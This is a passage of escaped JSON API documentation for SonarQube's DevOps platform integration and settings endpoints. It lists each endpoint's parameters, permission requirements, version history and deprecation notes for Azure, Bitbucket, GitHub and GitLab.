\u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform configuration key. This parameter is optional if you have only one Azure integration.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionType\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Type\\u003Cbr/\\u003ENew code definitions of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EPREVIOUS_VERSION\\u003C/li\\u003E\\u003Cli\\u003ENUMBER_OF_DAYS\\u003C/li\\u003E\\u003Cli\\u003EREFERENCE_BRANCH - will default to the main branch.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionValue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Value\\u003Cbr/\\u003EFor each new code definition type, a different value is expected:\\u003Cul\\u003E\\u003Cli\\u003Eno value, when the new code definition type is PREVIOUS_VERSION and REFERENCE_BRANCH\\u003C/li\\u003E\\u003Cli\\u003Ea number between 1 and 90, when the new code definition type is NUMBER_OF_DAYS\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;projectName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Azure project name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;repositoryName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Azure repository name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;import_bitbucketcloud_repo\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a SonarQube project with the information from the provided Bitbucket Cloud repository.\\u003Cbr/\\u003EAutoconfigure pull request decoration mechanism.\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.0\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;This endpoint is deprecated, please use its API v2 version /api/v2/dop-translation/bound-projects\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter almSetting becomes optional if you have only one configuration for BitBucket Cloud\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Endpoint visibility change from internal to public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform configuration key. This parameter is optional if you have only one BitBucket Cloud integration.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionType\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Type\\u003Cbr/\\u003ENew code definitions of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EPREVIOUS_VERSION\\u003C/li\\u003E\\u003Cli\\u003ENUMBER_OF_DAYS\\u003C/li\\u003E\\u003Cli\\u003EREFERENCE_BRANCH - will default to the main branch.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionValue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Value\\u003Cbr/\\u003EFor each new code definition type, a different value is expected:\\u003Cul\\u003E\\u003Cli\\u003Eno value, when the new code definition type is PREVIOUS_VERSION and REFERENCE_BRANCH\\u003C/li\\u003E\\u003Cli\\u003Ea number between 1 and 90, when the new code definition type is NUMBER_OF_DAYS\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;repositorySlug\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket Cloud repository slug\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;import_bitbucketserver_project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a SonarQube project with the information from the provided BitbucketServer project.\\u003Cbr/\\u003EAutoconfigure pull request decoration mechanism.\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;This endpoint is deprecated, please use its API v2 version /api/v2/dop-translation/bound-projects\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter almSetting becomes optional if you have only one configuration for BitBucket Server\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Endpoint visibility change from internal to public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform configuration key. This parameter is optional if you have only one BitBucket Server integration.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionType\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Type\\u003Cbr/\\u003ENew code definitions of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EPREVIOUS_VERSION\\u003C/li\\u003E\\u003Cli\\u003ENUMBER_OF_DAYS\\u003C/li\\u003E\\u003Cli\\u003EREFERENCE_BRANCH - will default to the main branch.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionValue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Value\\u003Cbr/\\u003EFor each new code definition type, a different value is expected:\\u003Cul\\u003E\\u003Cli\\u003Eno value, when the new code definition type is PREVIOUS_VERSION and REFERENCE_BRANCH\\u003C/li\\u003E\\u003Cli\\u003Ea number between 1 and 90, when the new code definition type is NUMBER_OF_DAYS\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;BitbucketServer project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;repositorySlug\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;BitbucketServer repository slug\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;import_github_project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a SonarQube project with the information from the provided GitHub repository.\\u003Cbr/\\u003EAutoconfigure pull request decoration mechanism. If Automatic Provisioning is enable for GitHub, it will also synchronize permissions from the repository.\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.4\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;This endpoint is deprecated, please use its API v2 version /api/v2/dop-translation/bound-projects\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter organization is not necessary anymore\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter almSetting becomes optional if you have only one configuration for GitHub\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Endpoint visibility change from internal to public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform configuration key. This parameter is optional if you have only one GitHub integration.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionType\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Type\\u003Cbr/\\u003ENew code definitions of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EPREVIOUS_VERSION\\u003C/li\\u003E\\u003Cli\\u003ENUMBER_OF_DAYS\\u003C/li\\u003E\\u003Cli\\u003EREFERENCE_BRANCH - will default to the main branch.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionValue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Value\\u003Cbr/\\u003EFor each new code definition type, a different value is expected:\\u003Cul\\u003E\\u003Cli\\u003Eno value, when the new code definition type is PREVIOUS_VERSION and REFERENCE_BRANCH\\u003C/li\\u003E\\u003Cli\\u003Ea number between 1 and 90, when the new code definition type is NUMBER_OF_DAYS\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;repositoryKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub repository key (organization/repoSlug\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 256 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;import_gitlab_project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Import a GitLab project to SonarQube, creating a new project and configuring MR decoration\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.5\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;This endpoint is deprecated, please use its API v2 version /api/v2/dop-translation/bound-projects\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter almSetting becomes optional if you have only one configuration for GitLab\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform configuration key. This parameter is optional if you have only one GitLab integration.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;gitlabProjectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitLab project ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionType\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Type\\u003Cbr/\\u003ENew code definitions of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EPREVIOUS_VERSION\\u003C/li\\u003E\\u003Cli\\u003ENUMBER_OF_DAYS\\u003C/li\\u003E\\u003Cli\\u003EREFERENCE_BRANCH - will default to the main branch.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionValue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Value\\u003Cbr/\\u003EFor each new code definition type, a different value is expected:\\u003Cul\\u003E\\u003Cli\\u003Eno value, when the new code definition type is PREVIOUS_VERSION and REFERENCE_BRANCH\\u003C/li\\u003E\\u003Cli\\u003Ea number between 1 and 90, when the new code definition type is NUMBER_OF_DAYS\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list_azure_projects\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List Azure projects\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list_bitbucketserver_projects\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List the Bitbucket Server projects\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_azure_repos\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search the Azure repositories\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;projectName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project name filter\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;searchQuery\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search query filter\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_bitbucketcloud_repos\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search the Bitbucket Cloud repositories\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 100\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;repositoryName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Repository name filter\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_bitbucketserver_repos\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search the Bitbucket Server repositories with REPO_ADMIN access\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;projectName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project name filter\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;repositoryName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Repository name filter\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_gitlab_repos\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search the GitLab projects.\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project name filter\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_pat\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Set a Personal Access Token for the given DevOps Platform setting\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Allow setting Personal Access Tokens for all DevOps platforms\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter almSetting becomes optional if you have only one DevOps Platform configuration\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Bitbucket Cloud support and optional Username parameter were added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.0\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform configuration key. This parameter is optional if you have only one single DevOps Platform integration.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;pat\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Personal Access Token\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;username\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Username\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/alm_settings\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage DevOps Platform Settings\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;count_binding\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Count number of project bound to an DevOps Platform setting.\\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;almSetting\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create_azure\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create Azure instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;URL\u0026#39; was added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the Azure Devops instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;personalAccessToken\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Azure Devops personal access token\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Azure API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create_bitbucket\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create Bitbucket instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the Bitbucket instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;personalAccessToken\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket personal access token\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;BitBucket server API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create_bitbucketcloud\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Configure a new instance of Bitbucket Cloud. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.7\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;clientId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket Cloud Client ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;clientSecret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket Cloud Client Secret\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: 